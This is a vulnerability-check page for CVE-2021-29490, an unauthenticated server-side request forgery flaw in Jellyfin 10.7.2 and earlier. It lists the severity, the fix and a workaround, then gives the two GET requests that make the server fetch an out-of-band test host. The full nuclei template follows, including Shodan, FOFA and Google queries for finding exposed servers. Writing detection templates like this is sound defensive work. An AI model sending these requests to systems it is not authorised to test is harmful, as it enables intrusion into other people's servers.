Jellyfin 10.7.2 - Server Side Request Forgery

mediumseverity

5.8CVSS score

69.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.

Impact

This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.

Fix

Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".

How to confirm it

Send: GET {{BaseURL}}/Images/Remote?imageUrl=https://oast.me/ ; GET {{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB
Positive when: contains "<h1> Interactsh Server </h1>"

Run it with nuclei: nuclei -id CVE-2021-29490 -u <target>

The full check

id: CVE-2021-29490

info:
  name: Jellyfin 10.7.2 - Server Side Request Forgery
  author: alph4byt3
  severity: medium
  description: |
    Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
  remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
  reference:
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2021-29490
    cwe-id: CWE-918
    epss-score: 0.69856
    epss-percentile: 0.99377
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query: http.title:"Jellyfin"
    fofa-query: body="jellyfin"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,ssrf,jellyfin,oast,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/"
      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

References

Use this check only on systems you are authorised to test. Where the data comes from